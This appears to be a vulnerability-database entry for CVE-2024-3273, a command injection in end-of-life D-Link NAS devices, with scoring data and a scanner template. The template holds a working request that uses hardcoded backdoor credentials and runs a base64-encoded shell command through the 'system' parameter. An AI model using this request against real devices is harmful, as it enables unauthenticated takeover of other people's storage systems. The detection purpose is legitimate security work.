7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
8.8 High
AI Score
Confidence
High
0.935 High
EPSS
Percentile
99.1%
UNSUPPORTED WHEN ASSIGNED ** A vulnerability, which was classified as critical, was found in D-Link DNS-320L, DNS-325, DNS-327L and DNS-340L up to 20240403. Affected is an unknown function of the file /cgi-bin/nas_sharing.cgi of the component HTTP GET Request Handler. The manipulation of the argument system leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-259284. NOTE: This vulnerability only affects products that are no longer supported by the maintainer. NOTE: Vendor was contacted early and confirmed immediately that the product is end-of-life. It should be retired and replaced.
id: CVE-2024-3273
info:
name: D-Link Network Attached Storage - Command Injection and Backdoor Account
author: pussycat0x
severity: critical
description: |
UNSUPPORTED WHEN ASSIGNED ** A vulnerability, which was classified as critical, was found in D-Link DNS-320L, DNS-325, DNS-327L and DNS-340L up to 20240403. Affected is an unknown function of the file /cgi-bin/nas_sharing.cgi of the component HTTP GET Request Handler. The manipulation of the argument system leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-259284. NOTE: This vulnerability only affects products that are no longer supported by the maintainer. NOTE: Vendor was contacted early and confirmed immediately that the product is end-of-life. It should be retired and replaced.
reference:
- https://github.com/netsecfish/dlink
- https://www.bleepingcomputer.com/news/security/over-92-000-exposed-d-link-nas-devices-have-a-backdoor-account/#google_vignette
- https://news.ycombinator.com/item?id=39960107
- https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10383
- https://vuldb.com/?ctiid.259284
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-3273
cwe-id: CWE-77
cpe: cpe:2.3:o:dlink:dns-320l_firmware:-:*:*:*:*:*:*:*
epss-score: 0.83361
epss-percentile: 0.98438
metadata:
verified: true
vendor: dlink
product: "dns-320l_firmware"
fofa-query: "app=\"D_Link-DNS-ShareCenter\""
max-request: 1
tags: cve,cve2024,dlink,nas,kev
variables:
cmd: "id"
http:
- method: GET
path:
- "{{BaseURL}}/cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system={{base64(cmd)}}"
matchers-condition: and
matchers:
- type: word
words:
- "<auth_state>1</auth_state>"
- type: regex
part: body
regex:
- "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"
- type: status
status:
- 200
# digest: 490a0046304402203982bd27134560aeb8fa52d09e98ad42fbbbcaf319d257593aed74bef082be5a02202be13f559cdcb1d20876067e3f5b91f3264f7c62311e31c8907fbeac7990117e:922c64590222798bb761d5b6d8e72950
7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
8.8 High
AI Score
Confidence
High
0.935 High
EPSS
Percentile
99.1%